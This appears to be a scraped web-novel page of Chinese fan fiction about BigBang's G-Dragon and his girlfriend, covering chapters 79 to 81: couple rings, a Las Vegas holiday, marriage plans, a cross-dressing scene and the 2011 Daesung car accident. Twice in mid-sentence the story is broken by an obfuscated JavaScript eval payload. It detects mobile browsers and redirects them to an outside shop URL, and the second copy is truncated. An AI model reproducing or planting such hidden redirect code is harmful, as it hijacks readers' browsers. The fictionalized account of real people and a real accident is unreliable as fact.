够我买多少个包了! 龙的小宝贝:基操,勿6。[点烟]权龙老传统了,又不是第一次。想想之前的珠宝、各种限量款…… 太阳神God:不不不,还有更劲爆的!!!我朋友后来在XXX餐厅又遇到他们了!她说……她看到权萌萌拿出了一个戒指盒!两人在桌子上,互相给对方戴上了!!!就在餐厅里!!![惊恐][惊恐][惊恐] 阿拉伯王子塔:!!!!!!什么?!对戒?!真的假的?!确定不是看错了?!是……是那种意思的吗?! 权心权意爱欧巴:天啊不要吧!!!真就认定是这个女人了?!不要啊!!![哭泣] 我哥的单身人设(虽然好像也没有)彻底崩塌! VIP最棒:我……我心情复杂……虽然但是……六位数美金的表加上对戒……龙队这是铁了心要往婚姻的坟墓里跳了啊……[裂开] 感觉离收到婚礼请柬不远了。 莉莉的小熊猫:唉,我好像……已经开始被迫接受并习惯了怎么办?看龙哥这架势,爱得这么沉甸甸(字面意思加上引申义),结婚估计是迟早的事了吧?[叹气] 装作若无其事:你们还没习惯吗?半年前日本的花火大会,两人都直接亲上了啊,那么多人(虽然带了面具) 龙鳞护体一生一世:他是不是忘了他是偶像啊?![怒] 虽然……他好像也确实从没立过什么纯情单身人设,一直都是艺术家、风流才子路线…… 龙的小宝贝:对啊!他从出道就是“恋爱是灵感源泉”的人设!谁知道他妈的他从出道前就跟这个女人锁死了?!那些绯闻全是烟雾弹?!![吐血] 感觉我们粉丝像个笑话! la-la-la:鸡的来衮我知道你很急!但是你先别急!你才23啊!!! VIP since 2006:楼上的,按韩国算法是23,但是按国际算法才22哦~ 权心权意爱欧巴:不管22还是23都很年轻啊!!这个年纪不应该是才刚大学毕业享受青春享受生活的年纪吗?!哥你还是爱豆啊!你急什么啊! 龙鳞护体一生一世:服了。真的服了。爱咋咋地吧。[挥手] 累了。只要他还能出歌,出好歌,我……我尽量忍了。[卑微] 毕竟才华是真的。 莉莉的小熊猫:同……出歌就行……[双手合十] 祝福的话……我可能还需要一点时间做心理建设…… 胜利是忙内但也是大佬:好了好了,等官方消息(估计也不会有)。别忘了刷音源![奋斗] 男人的爱情靠不住,哥哥的事业和我们的支持才是永恒的![狗头] 龙的小宝贝:我要疯了啊,我都要因爱生恨了…… VIP since 2006:其实也有点哔了狗……自己都还没结婚,粉的爱豆要结婚了…… 装作若无其事:你换个角度想想,至少证明权龙对感情是认真的呢。 权心权意爱欧巴:不会安慰可以不安慰的[怒] 危险的姜:只有我在意龙还有没有钱吗?这些年赚的都花这位身上了吧? A boy:鸡的来滚会写歌啊,多写几首歌钱就来了,而且给女朋友花钱也正常吧,钱在哪里爱就在哪里,还是那句话,不要对别人的钱太有占有欲啊! …… 79.第 79 章 MV的拍摄日程紧张而忙碌,在拉斯维加斯及周边沙漠取景的几天里,珍雅和初星成了拍摄现场的常客。她们有时会带着冰美式和甜点去探班,安静地待在监视器后的阴凉处看一会儿;有时则只是戴着宽檐帽和墨镜远远看着,感受着沙漠烈日下专业工作的氛围。至龙在拍摄间隙,目光总会下意识地寻找着初星的身影,看到她时,即使再疲惫,也感到无比安心。偶尔还会趁导演喊卡的间隙,快步溜到她身边,飞快地捏一下她微凉的手心,问一句“热不热?”,又匆匆跑回镜头前。 终于,所有的拍摄任务圆满结束,真正的休假模式,正式开启! 七人像一群被关了十年才被放出的囚犯,迫不及待地投入到拉斯维加斯这座欲望都市的娱乐盛宴中。 清晨,他们选择了城郊一家顶级的高尔夫球场。在清新的空气中,面对开阔的绿色球道和远处的沙漠山景,享受了一场轻松愉快的球叙。至龙的挥杆姿势标准而优美,带着一种不经意的优雅;top打得若有所思,每一杆都像在完成一件雕塑作品;永裴发挥稳定,精准而从容;胜利和大声技术虽略显青涩,却玩得最是酣畅淋漓,笑声和夸张的惊叹声在空旷的球场上回荡。初星和珍雅也拿着球杆在一旁凑趣,比起成绩,享受阳光和美景才是重点。 午后,他们钻进了隐藏的名厨餐厅。抛开所有身材管理,尽情投入到味觉的狂欢。从分子料理呈现的开胃小点,到主厨精心烹制的牛排,再到造型惊艳、口感层次丰富的甜品,每一道菜都是一场感官的盛宴。胜利对着菜品各个角度疯狂拍照,大声吃得一脸满足,幸福得眼睛都眯了起来,连对食物极其挑剔的top都对某道创意菜表示了高度认可。 下午,是肾上腺素飙升的时刻。他们去了卡丁车赛场,换上专业的赛车服,在蜿蜒复杂的赛道上展开了激烈的追逐。引擎的轰鸣声和欢呼呐喊声充斥场内。至龙和永裴技术不错,在弯道处展开近乎贴身的激烈竞争;胜利开局嚣张,油门踩到底,可惜很快就因为操之过急撞上了护栏;大声稳扎稳打,步步为营;top……开出了老爷车的速度;初星和珍雅也玩的不亦乐乎,感受着风驰电掣的速度与激情。 他们包下了一架直升机,飞越广袤壮丽的红色沙漠峡谷,降落在指定的安全区域后,体验了在真正的沙漠靶场里打真枪实弹的刺激感。沉重的后坐力撞击着肩胛,清脆的枪声在空旷的峡谷间回荡,命中靶心(或脱靶)的兴奋惊呼声交织在一起。 夜晚,他们置身于最负盛名的魔术秀剧场。世界顶级魔术师的表演让他们看得目不转睛,瞠目结舌。top看得尤其认真,思考着每个魔术的原理。胜利和大声完全沉浸在奇幻氛围中,时不时发出夸张的惊叹和欢呼。 另一天,他们参观了泰坦尼克号文物展。从沉船中打捞上来的珍贵物品、部分船体结构复原、以及那段跨越时空的悲壮历史故事。穿梭在展厅里,仿佛能触摸到近百年前那艘巨轮上的繁华与悲观。 当然,拉斯维加斯标志性的贝拉吉奥酒店前的音乐喷泉表演也不会错过。他们选了一个绝佳的观景位置,看着巨大的水柱随着音乐的旋律翩翩起舞,灯光与水幕交织出如梦似幻的场景。至龙和初星安静地依偎着,看着眼前这场水的芭蕾,享受着忙碌过后的惬意时光。 这几天,他们就像普通的游客一样,尽情体验着这座沙漠不夜城所能提供的一切新奇与刺激。虽然偶尔还是会被一些眼尖的粉丝或游客认出,引起小范围的骚动,但整体上,他们享受了一段难得轻松又丰富多彩的团体休假。 拉斯维加斯之行的最后一晚,大家都在套房内享受着安静的告别之夜。 永裴和大声并肩靠在沙发上,翻看着手机里拍下的照片和视频,看到搞怪瞬间时,忍不住爆发出阵阵笑声。top端着威士忌,站在落地窗前,安静地欣赏着窗外那片虚幻而壮观的灯海。胜利盘腿坐在地毯上,抱着水果吃得津津有味,目光却像探照灯一样,在窝在双人沙发里的至龙和初星之间来回扫视,脸上写满了“我很好奇”。 终于,他还是没能忍住那颗熊熊燃烧的八卦之心。 “至龙哥,”胜利嘴里叼着半块芒果,含糊不清地指向至龙和初星无名指上的戒指,“你和怒那这个戒指……怎么回事啊?前几天我就注意到了,还以为是什么情侣装饰品,但你们这几天形影不离的,洗澡睡觉都没见摘下来啊?而且还是戴在无名指耶!” 这话一出,一直看夜景的top和看照片的永裴、大声都抬起头,好奇地看过来。珍雅也困意稍减,竖起了耳朵。 至龙看了看自己的戒指,又看了看初星的,伸手与初星十指相扣,将戴着对戒的手举起来展示给大家看,笑的跟朵花似的。 “就是你们看到的那样啊。我们商量好了,再过个半年一年的,等各方面都更稳定些,”他顿了顿,目光温柔地落在初星侧脸上,“我们打算结婚了。” 空气安静了几秒。成员们脸上都露出了程度不一的惊讶神色,但这份惊讶很快便化为了理解和一种“果然如此”的了然。毕竟,这么多年,至龙对初星是怎样的感情,他们作为最亲密的战友和兄弟,都看得清清楚楚。走到婚姻这一步,看似突然,细想之下,却又显得那么的顺理成章,水到渠成。 永裴最先祝福:“真的?虽然有点突然,但……想想好像也不意外。恭喜你们!”他举起手中的香槟杯,向两人示意。 大声也赶紧跟上,憨厚地笑着:“是啊,哥对初星的心意……我们都懂的。恭喜哥!恭喜初星!”他也举起了杯子。 top转过身,端着酒杯,深沉地点了点头:“嗯……情感的终极形态之一。契约的缔结。恭喜。”他也举了举杯。 只有胜利,张大了嘴巴,一脸难以相信:“啊?!这么早吗?!至龙哥我知道你想结婚想安定下来,但是……”他看向初星,带着点夸张的惋惜,“初星怒那还这么年轻漂亮,风华正茂,就要踏进婚姻的坟墓了?不再多享受几年自由自在的时光?不再多看看世界的精彩?” 至龙没好气地抓起手边的抱枕扔向他:“呀!李胜利!狗嘴里吐不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947586|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出象牙!说什么坟墓不坟墓的!” 随后他看向怀里的初星,眼神深处带着一丝不易察觉的紧张和寻求最终确认的期盼,语调放软,带着诱哄般的温柔:“娜比,你同意了,对吧?我们是说好了的,对吗?” 所有的目光瞬间聚焦在初星身上。她抬起眼,先迎上至龙那双盛满了星光和期待的眸子,又扫过周围朋友们关切、好奇、带着祝福的脸庞。她脸上缓缓绽开一个清浅的微笑,声音不大却足够肯定:“嗯。” 这一个“嗯”字,像一颗定心丸,抚平了至龙心底最后一丝不确定的褶皱,笑容变得更加灿烂和安心。 “看吧!”至龙得意地看向胜利,又扔过去一个抱枕,恶狠狠地威胁道:“呀!李昇炫!你再胡说八道,信不信我可以让你现在就进坟墓? “哇!哥!我这是关心怒那啊!是来自忙内最真挚的关怀!”胜利一边笑着躲闪,一边夸张地大叫起来。 至龙作势要起来“教训”他,胜利赶紧手脚并用地爬起来,绕着茶几和沙发开始逃跑。两人一个追一个躲,闹了好一会儿,最后以至龙成功把胜利按在沙发角落里,施展挠痒痒大法直到胜利连连求饶告终。其他几人都笑着看他们打闹,珍雅凑到初星身边,挽着她的胳膊,说着恭喜和调侃的话。 等两人闹完,气喘吁吁地坐回原地,top再次用他那低沉的嗓音,郑重地开口:“嗯……既然如此……作为团队里最年长、最具成熟魅力的成员,我认为伴郎的角色,理应我来担当。” 永裴也凑热闹:“诶,哥,伴郎这么重要的工作,一个人怎么够?算我一个!我可以负责帅气的部分!” 胜利一边整理被弄乱的衣领,一边高高举手,活力满满地毛遂自荐:“我来当司仪!保证把婚礼气氛搞得热热闹闹、创意十足!将功补过!” 大声也举起手:“我!我唱祝歌!我一定好好练习,唱出最动人的祝福!” 至龙看着开始“争抢”婚礼角色的成员们,哭笑不得,但眼底深处却满是温暖和感动。他搂紧了初星,清了清嗓子,用一种带着得意洋洋又不容反驳的语气宣布:“呀呀呀!谁同意你们自行分配了?伴郎可以商量……但是,祝哥——他拖长了声音,目光转向初星,眼神温柔而坚定,“不行。祝歌我准备自己唱。我要亲自唱给我老婆听。” “哇~~~~”胜利立刻起哄“哥!要不要这么肉麻!这么深情!鸡皮疙瘩都起来了!” 永裴和大声点头表示支持。top也微微颔首:“嗯,此艺术行为具有高度的个人情感价值与不可替代性。” 初星也跟着大家笑着,脸颊泛起淡淡的红晕,但渐渐地,她的笑容淡了些许。 窗外的霓虹依旧闪烁不息,映在她清澈的瞳孔里,却仿佛隔着一层薄薄的雾。没有人知道,她心里究竟在想什么。 连她自己也不知道。 是未来的期许?是隐约的不安?还是某种更深沉的、连她自己都无法清晰的思绪? 那枚戒指在指根的存在感,从未如此清晰,又如此沉重。 80.第 80 章 至龙舒舒服服地躺在沙发上,头枕在初星腿上,闭着眼享受着主人的爱抚。初星的手有一下没一下地梳理着他的头发,眼睛死盯着电视,看着TG小分队在每天每夜的表现。 “哈哈哈!胜铉欧巴为什么这么好笑啊?”初星看着屏幕上top用认真的表情表演着自己认为的幽默,导致全场嘉宾和MC集体懵圈的样子,笑得身体不停抖动,差点把至龙的头晃下去,“他到底是怎么做到用最帅的脸说最抽象的话的?” “他就那样。脑回路跟正常人不在一个次元,习惯就好。艺术家嘛,总得有点自己的世界。” 至龙像只寻求更多安抚的猫咪,在她腿上蹭了蹭,调整到一个更舒服的姿势,更深地窝进她怀里。 节目进行着,进入访谈环节。MC将话题引向了至龙最为人称道的创作领域。 屏幕上的至龙带着黑色的大帽子,对着镜头游刃有余地回答:“说实话……似乎是在恋爱的时候或者听了很多周边人的爱情故事时写歌。” 初星听在耳中,梳理的动作停了下来。 “哦?”她低下头,眯眼看腿上闭目养神的男人,“恋爱经历……很多吗?权老师。” 至龙几乎是立刻察觉到了危险,猛地睁开眼,对上了初星似笑非笑的眸子。 “没有!绝对没有!我所有的灵感都是你啊!从以前到现在,全都是关于你的!那些经历……说的就是大声、胜利他们乱七八糟的感情故事!” 他想撑起身子坐起来,去抱她,用行动证明自己的清白和诚恳。 初星却伸出一根手指,不轻不重地按在他胸口,把他重新按回自己腿上:“躺着。老实点。” 至龙不敢违抗,只好乖乖躺回去,但眼睛却一直紧张地瞄着她的表情。 恰在此时,MC又追问了一句:“引出分手提议的方法?” 屏幕上的至龙侃侃而谈:“嗯……万一是我感情先变淡了,却会做一些让对方提出分手的行动。有时候也会对人家不好,毕竟是歌手,工作很忙,电话也经常接不到,对方又会误会,这样一来,好像就会分手了。” 初星脸上的笑意彻底淡去。她想起前段时间,至龙忙着新专辑时,确实有过那么一阵子,经常找不到人。电话打过去十有八九是助理接听,回复也总是延迟好几个小时。当时只以为是工作强度太大,现在结合他这番话回想起来…… 她再次低下头,看着腿上那个似乎已经开始冒冷汗的男人,声音平静无波,却像结了层薄冰:“所以,前段时间经常‘不小心’接不到电话、信息轮回……是在为分手做铺垫?诱导我提出分手?权至龙,你行啊。” 至龙彻底慌了神,顾不得初星的‘镇压’又要坐起来,却又被‘镇压’:“不是!娜比!你听我解释!那时候是真的忙疯了!行程一个接一个,会议也一个接一个,手机都不在身边!我后面不是都一条条回复你了吗?!反而是你!后来都不接我电话了!还跟我冷战了好久!” 接着,他不等初星反驳,就启动了他惯用的耍赖大招——拖长了尾音的、黏糊糊的、带着鼻音的撒娇声:“嗯啊啊啊啊啊~~~都是节目效果啦!编剧给的稿子!为了综艺感瞎说的!你怎么能当真呢!我们不看这个了!换一个换一个好不好嘛~~~” 他一边说着,一边紧紧抱住初星的腰,把脸埋进她柔软的小腹,还使劲用下巴新长出来的胡茬蹭着她家居服下敏感的肌肤。 又刺又痒的触感让初星瞬间破功,身体敏感地一缩,忍不住笑骂出声:“呀!权至龙!不许动!你的胡渣弄得很痒!难受死了!” 她不停躲闪着,手试图推开那颗毛茸茸的脑袋,但至龙抱得死紧,还在不停地蹭着,声音越来越大:“唔啊啊啊啊~不换台我就不起来!痒死你!谁让你冤枉我!哼!” “烦死人了!每次说不过就啊啊啊啊的!你是练美声吗?!还是属啄木鸟的?!” 最终,初星还是拗不过至龙的音波攻击加物理骚扰的连环攻势,只好拿起遥控器:“好了好了!起来!重死了!压得我腿都麻了!换一个行了吧!” 至龙得逞,立马停止了‘攻击’,但还是赖在她腿上没起来,只是仰起头,眨巴着眼睛,用一种“我很乖快夸我”的眼神看着她。 初星白了他一眼,戳了戳他的额头,随手换到了另一个频道。正好在播放《强心脏》的一期重播,嘉宾是至龙和胜利。 至龙松了口气,重新放松下来,甚至得意地评论,试图找回场子:“看吧,还是这个好看。强心脏多经典,都是实打实的故事,比那些瞎编的访谈有意思多了。” 初星没搭理他,只是继续看着屏幕。 节目进行到至龙分享故事。屏幕外的至龙,听到故事标题整个人突然僵硬了,呼吸都放轻了。 里面的至龙生动地描述着喝多了在少女时代面前乱跳舞的事件,前辈说着酒醉才是真心,乱舞是醉中表白。 至龙人都傻了,心虚地把自己又蜷了蜷。 初星的声音慢悠悠地响起:“哦?自己准备的话题是在少女时代面前醉酒跳舞啊?权至龙xi,挺有分享精神的嘛。娱乐大众,牺牲不小。” 至龙:“……”他感觉自己后背又渗出了冷汗,头皮有些发麻。 然而,这还没完。进行到理想型世界杯环节,至龙在四位女艺人中,最终选择允儿。 “想跟林允儿xi一起去无人岛是吗?还在保龄球场一起玩,喝醉了给人家跳舞,最后还在节目上选人家当理想型上《强心脏》?”她每说一句,语气就放缓一分,脸上还带着一种特别明媚却又让人毛骨悚然的笑容。 至龙想要解释,却被初星按着肩头,指尖还温柔地拍了拍肩膀。 “躺、好。我看这个综艺挺好看的,特别——有、趣。我们继续看。” 至龙小心翼翼地侧过身,从她的腿上抬起头,暖黄的灯光下,眼圈都红了,里面盛满了不安和恳求。 他用手指勾她的拇指,带着浓重的哭腔咕哝:“娜比…我错了…真的知道错了…” 初星垂眼看他,心早就软了一大半,但还是绷着。 “都是节目效果,他们逼问的,我随便选的…为了放送分量…” “你知道我的,娜比,我每次忙完工作,哪次不是立刻就跑回来见你?手机随便你看,我从来…从来不跟别的女人有多余的联系的。” “我心里只有谁,你不知道吗?嗯?娜比~” 他直勾勾地望着她,里面满是爱意和依赖。 初星轻哼一声,傲娇道:“想让我原谅你?” 至龙看到了希望的曙光,连忙点头:“嗯!娜比说什么我都答应!只要你不生气,我做什么都行!” 初星小眼神滴溜滴溜转着,倾身凑近他,慢吞吞地说着:“那…我想再看一次G罗琳。” 至龙的脸瞬间爆红,一直红到了耳朵尖,连脖颈都染上了厚厚的绯色:“啊?那…那个…娜比啊……G罗琳什么的……” “不行?”初星挑眉,作势要抽回被他握着的手。 “行!行!”至龙立刻抓紧她的手,视死如归地闭上眼睛又睁开,“只要你喜欢…能让你消气…我扮就是了…但是只能给你一个人看!”他最后挣扎着加了个条件。 初星翘起一边嘴角,撸了撸大狗狗蓬松的毛发:“知道啦~” 至龙立马像只嗅到甜味的蜜蜂,顺势黏糊糊地蹭过去,把下巴往她手边凑,语气软得能拧出蜜来:“娜比~先帮我刮刮胡子好不好?不然待会儿扮G罗琳的时候,满脸胡茬,多…多影响视觉效果啊……” 他仰着脸,狡猾地将扎手的胡茬往她手里送,企图用这种方式,讨要着她的亲近和安抚。 “权至龙,你真是…拿你没办法。” 初星接过他殷勤递来的剃须膏,细致地将微凉的白色泡沫敷在他的下颌。至龙闭上眼,感受着刀片在她手中小心又精准地滑过皮肤,舒适到发出满足的咕噜声。 最后一下刮完,湿润的毛巾擦净残留的泡沫。至龙迫不及待地凑过去,光滑的下巴贴着她邀功:“我们娜比手艺最好了!比专业的还厉害!” 初星偏头推开,好整以暇地看着他:“行了,胡子刮完了。现在,该轮到谁兑现承诺了?” 至龙脸上的得意和撒娇僵住,换上羞耻又可怜的表情。他磨磨蹭蹭地站直,眼神飘忽不定,又落在初星身上:“娜比啊…就是…那些‘G罗琳’服装…好像…好像上次打扫的时候,被工作人员不小心清理掉了…” 初星双臂环抱在胸前,没说话,但态度很明显。 至龙心一横,耳根通红,手指绞在一起,几乎带着颤抖的气音:“……那……那我能不能……穿……穿你的衣服……扮?” 说完这句话,他简直想当场刨个地缝钻进去,脸颊烫得能煎鸡蛋,眼神根本不敢看她,只死死盯着脚下地毯上的花纹,仿佛能从中得到能震撼世界的旋律。 初星也呆了一下。她强压下笑意,故意审视着他修长却不失力量感的身材:“我的衣服?你确定?我这小身板的衣服,你塞得进去?” 至龙猛点头,一副为了博美人一笑不惜捐躯的壮烈模样。“嗯…挤一挤…总能行的…只要你消气…怎样都行……” 初星哧哧笑了出来,她站起身,走向衣帽间,一脸玩味:“好吧,让我看看…给你找件什么样的战袍好呢?” 至龙看着她的背影,捂着脸哀叹一声,脚趾尴尬地紧抠着又松开,却还是认命地跟了上去。 初星嘴角噙着坏笑翻找了一阵,最后,她拎出两件衣服转身,递到罚站一样杵在门口的至龙面前。 “喏,先试试这个。” 是一件她当oversize穿的纯白衬衫,以及一条她买大了号的黑色及膝百褶裙。 至龙的眼睛一接触到那条标志性的女式百褶裙,脸颊上刚勉强褪下去一点的热度‘轰’地一下再次涌了上来。 他伸出两根手指,夹了夹衣服,声音含糊,带着一丝微弱的挣扎:“……就……就这个啊?” “不然呢?”初星扫过挂着的几条连衣裙,“还是你想挑战一下我的连衣裙?或者……吊带裙?” “就这个!这个很好!非常合适!”至龙马上抢答,夹着的手指改为一把抓住。 衬衫触手柔软,还隐隐能闻到她身上的荼蘼花香。他脸更红了,僵硬地开始脱衣服,动作笨拙又迟缓,像个第一次自己穿衣服的孩子,根本不敢看她。 过程自然是磕磕绊绊。男生的骨架毕竟和女生不同,那件对初星来说宽松的白衬衫套在他身上,肩线刚好,但手臂肌肉处却绷得有些紧,纽扣扣得勉勉强强。灾难的是百褶裙,他费了九牛二虎之力才提到腰间,侧面拉链却死活拉不上最后一小截,露出一段白花花的缝隙,紧勒着他腰腹。 至龙被推到穿衣镜前,看着镜子里那个不伦不类、衬衫绷紧、裙子卡在半途的自己,窘迫得想原地蒸发在地球上。 他下意识地用手臂交叉挡在身前,都快哭了,眼神求助正在哈哈大笑的初星:“娜比…真的…拉不上…要…要喘不过气了……” 初星努力绷着脸,紧抿着唇,走过去,看了看那顽固的拉链,确实无能为力。她摸着下巴,上下打量着‘限定版权至龙’,白衬衫百褶裙,标准的学院风装扮因为尺寸问题穿在他身上变得格外搞笑且……涩情?但总觉得还差了点什么。 忽然,她眼前一亮,转身又从衣柜最深处翻出一个收纳袋。 “等等,我有办法。” 她拿出和珍雅参加变装派对买的假发,齐刘海的黑长发,还绑成了低低的双马尾。 至龙眼睛都瞪圆了,瞳孔里写满了惊恐,后退了半步,声音都变了调:“这…这个就真的不用了…吧?” “当然要用!点睛之笔!”初星走上前,踮起脚,不由分说地扣在他头上,仔细调整好位置。 瞬间,可爱的齐刘海遮住了他略显英气的眉毛,柔顺的马尾搭在领子旁,奇异地融入了他这身装扮。 效果是惊人的,也是毁灭性的。 刚才那个穿着不合身女装显得滑稽的男人不见了。镜子里出现了一个……怪异又笨拙的“可爱感”的生物。尤其是此刻因为震惊和羞耻变得更加水光潋滟的眼睛,在齐刘海的衬托下,配上这身学院风穿搭,竟然莫名有种“女高中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【永裴:…至龙啊。 [捂脸] 需要陪你聊聊人生吗?初星是不是给你下什么药了?】 【CL :OMOOOOOOOO!!! Oppa!!! 这是我可以免费看的吗????哈哈哈哈!干得漂亮![笑cry][笑cry][笑cry] 已存图!黑历史+1!】 【朴春:呀!好可爱啊!!!!!!像偷穿姐姐衣服的漂亮弟弟!初星啊~我也要玩!下次派对主题有了![羡慕][流口水]】 【Dara:太可爱了叭![爱心发射][爱心发射] 皮肤好好!刘海好乖!】 【敏智:欧巴?还是欧尼?[震惊脸] 】 【Teddy :……….下次写歌灵感有了。叫《女高G-Dragon》怎么样?Feat. 权至龙(女声Ver.)】 【胜利:Hyung!!!!!!哥你完了!你的偶像生涯今夜终结!我要把这张照片打印出来裱在客厅!嫂子nim万岁![跪了] [膜拜]】 …… 至龙看着评论,肩膀大幅度抖动,把手机递给好奇凑过来的初星看。 “呀!权至龙!你真发出去了?!”初星看到照片和爆炸的评论区,惊讶地捂住嘴,随即也笑得倒在沙发里,捶着他的胳膊,“完了完了,你的形象碎成渣了……哈哈哈!Teddy欧巴还要写歌?《女高G-Dragon》?救命啊!” 至龙看着那一条条‘无情’的评论,虽然心底其实暗爽但眼珠一转,戏精本能立刻上线,准备最大化利用这个“受害者”身份来谋取福利。 他把手机一扔,整个人没了骨头一样,软绵绵地歪倒在初星身上,开始拖长了调子哼哼唧唧:“唔~娜比~他们都笑我…形象全没了…我没脸见人了…嘤~我好可怜~我受伤了~心灵受到重创!需要安慰…要yeobo亲亲抱抱才能好……” 初星哪里吃他这套,嗤笑一声,没好气地戳了戳他:“呀,权至龙,起来,重死了。刚才自己发的时候不是挺得意?现在又来这套?” “那不一样~”至龙在她颈窝里蹭来蹭去,坚持不懈地用那种能腻死蚊子的语调控诉,“刚才是为了逗你开心,现在是承受了巨大的社会性死亡!这能一样吗?我牺牲太大了,需要补偿,要yeobo~要yeobo的亲亲……” 初星被蹭得发痒,不耐烦地推他,却被吻了吻手心。 她太了解他了,这就是典型的‘给点阳光就灿烂’,顺杆爬,要糖吃。 她沉默了几秒,权衡了一下,然后翻了个小小的白眼,敷衍的叫了一声:“yeobo。” 初星那声yeobo刚落音,至龙就感觉到心一阵一阵的,说不出是痛还是别的,灵魂也在发颤。 “再说一遍?” 他死死盯着初星,浅色的眼眸深得仿佛要把她吸进去吃掉。 初星被他这从大型犬到掠食者的转变弄得一愣,还没来得及反应,就感觉一阵天旋地转。 “呀!权至龙!你发什么疯!放我下来!”身体突然悬空,失重感让她惊呼一声。 至龙却像是没听到她的抗议,抱着她又迅速又珍重地向卧室走去,嘴角勾着危险的弧度。 “你干嘛!放开我!听见没有!”初星挣扎了几下,但他箍得太紧,根本挣脱不开。 至龙低下头,鼻尖几乎蹭到她的,呼吸急促,哑声道: “干嘛?听到yeobo叫得这么好听……当然是提前预习并履行一下夫妻义务啊,我的……yeobo。” 他最后一个称呼咬得格外缱绻、深沉,带着明目张胆的、不容拒绝的暗示和宣告。 “什…什么夫妻义务!谁跟你夫妻!放我下来!权至龙!你…你不要脸!”初星的脸颊终于后知后觉地红了,握拳捶他,可惜跟挠痒痒差不多,更像是撒娇。 “刚才叫yeobo的可是你,现在想不认账?”至龙抱着她,踢开门,走进房内,反脚将门带上。 他把她放在床铺中央,随即俯身逼近,把她困在双臂之间,眼神滚烫,危险更深,“晚了。我的yeobo。叫了可不能白叫……” “你!你这是强盗逻辑!强词夺理!”初星还想反驳,但却被他低头落下的吻和不安分的手尽数堵了回去,只剩下黏腻的律动…… 81.第 81 章 甜蜜的、琐碎的、拌嘴又和好的日常依然继续着。至龙依旧黏人,初星嘴上偶尔会嫌弃两句“烦不烦”却又享受着这份独一无二的幸福。那张权女高的照片,成了圈子好友间的笑料,每每被提起,都会迎来至龙的追杀。 直到2011年5月31日。 平静的午后时刻,被尖锐的推送提示音粗暴地撕裂。 初星起初只是随意瞥了一眼,以为是哪个无关紧要的娱乐八卦或品牌推广。但屏幕上跳出的关键词,让她的心脏骤然下沉—— **【突发新闻】:5月Bigbang成员姜大声发生严重交通事故!现场惨烈!】 **【速报】:歌手姜大声凌晨驾车超速发生追撞车祸!疑似造成人员伤亡!】 **【独家】:姜大声车祸现场图片曝光!车辆损毁严重,救护车已抵达!情况不明!】 她的大脑有片刻的空白,随即立即抓起手机,直接拨通了至龙的电话。 电话几乎是瞬间就被接起了,快得不同寻常。 “娜比?”至龙的声音传来,背景音异常安静,死寂得可怕,甚至带着一种山雨欲来前的紧绷感。他的声线听起来还算平稳,但初星能感受到那底下极力掩饰的颤抖和焦虑。 “至龙……”初星喉咙有些干涩,一时间竟然不知道该如何组织语言,生怕问出的答案是她无法承受的,“新闻……我看到新闻了……大声欧巴他……人怎么样?严重吗?” 电话那头陷入了沉默,只有压抑的呼吸声。然后,至龙的声音再次响起,像是从牙缝里挤出来的:“嗯。知道了。我刚接到紧急电话。现在具体情况……还不清楚,警方和公司都在核实中。他人……好像没生命危险,被送去医院检查了,但是……” 他顿住了,“但是”后面悬着的,是关乎人命的沉重未知,是足以吞噬一切的舆论风暴和可能的法律责任深渊。 初星的心揪紧了,指甲无意识地掐进了掌心。她能想象到他此刻承受着的压力——对队友安危的担忧,对事件的震惊与无措,以及作为团队队长和核心,必须扛起来的责任。 “你现在在哪?要去医院吗?还是直接回公司?”她急急地问,恨不得现在有扇任意门能飞到他身边,哪怕只是陪着他。 “我先回公司开会,”至龙话里透出冰冷的冷静,但这冷静反而让初星更心疼,“别担心,你先待在家里,哪里也别去,公司楼下和宿舍附近可能已经有闻风而动的记者在蹲守了。电话保持畅通,我…我晚点情况明朗些再打给你。” “好,我知道。”初星立刻答应,“你……你也别太着急,路上一定小心。有什么事,无论大小,一定要告诉我。” “嗯。先挂了。”话音刚落,电话便被匆匆挂断。 初星握着手机,在家里来回踱步,地毯被踩出凌乱的痕迹。手机屏幕被她反复点亮、熄灭,又点亮,刷新着最新的新闻动态。每一条新推送都能激起更高的惊涛骇浪。 【姜大声车祸疑似造成一人当场死亡!警方已介入调查!】 【YG娱乐官方回应:正在确认具体情况中,对因此事引发的担忧深感抱歉。】 【独家跟进:姜大声或将面临严重法律后果!】 她整个人七上八下的,这不是新闻里遥远的社会事件,它就血淋淋地发生在她亲密的朋友身上。 终于,在她快要被焦虑和寂静吞噬的时候,玄关处传来门锁开合声。她猛地弹起来,看到至龙推门走了进来。 他看起来糟透了。脸色苍白,眼下是浓重的阴影,平时总是精心打理的头发凌乱地耷拉着,几身上的衣服也带着褶皱。他几乎是悄无声息地关上门,背靠着门板,像是用尽了最后一丝力气才支撑着自己没有滑下去。 “至龙……”初星快步走过去,伸手想去触碰他。 至龙抬起头,看到她的那一刻,强撑了一路的镇定彻底碎裂。他没有说话,伸出手,将她整个人揽进怀里,身体轻颤着,呼吸湿热地喷在她的皮肤上。 初星回抱住他,轻拍着背,一下一下,节奏缓慢而稳定,像安抚一个被噩梦惊醒的宝宝。 “大声他,”良久,至龙沙哑的声音才闷闷地传来,带着哽咽的湿意,“从医院回来…就把自己锁在房间里…不说话…也不肯吃东西…谁敲都不应…永裴和胜铉哥在门口守着他…轮流跟他说话…但里面一点声音都没有…胜利…胜利那小子吓坏了,一直在哭…我……” 他说不下去了,只是更用力地抱紧她,脆弱地低喃着:“娜比…我害怕…如果……如果大声他…我们…该怎么办……” “不会的,”初星坚定的回答,尽管她的心脏也因他的痛苦而揪紧,“大声欧巴他很坚强,他比我们想象的都要坚强。而且你们都在他身边不是吗?你们是一体的,这种时候,你们的陪伴比其他都重要。他会感受到的,他会撑过去的。” 至龙轻轻点了点头,汲取着她身上的镇定和温暖。 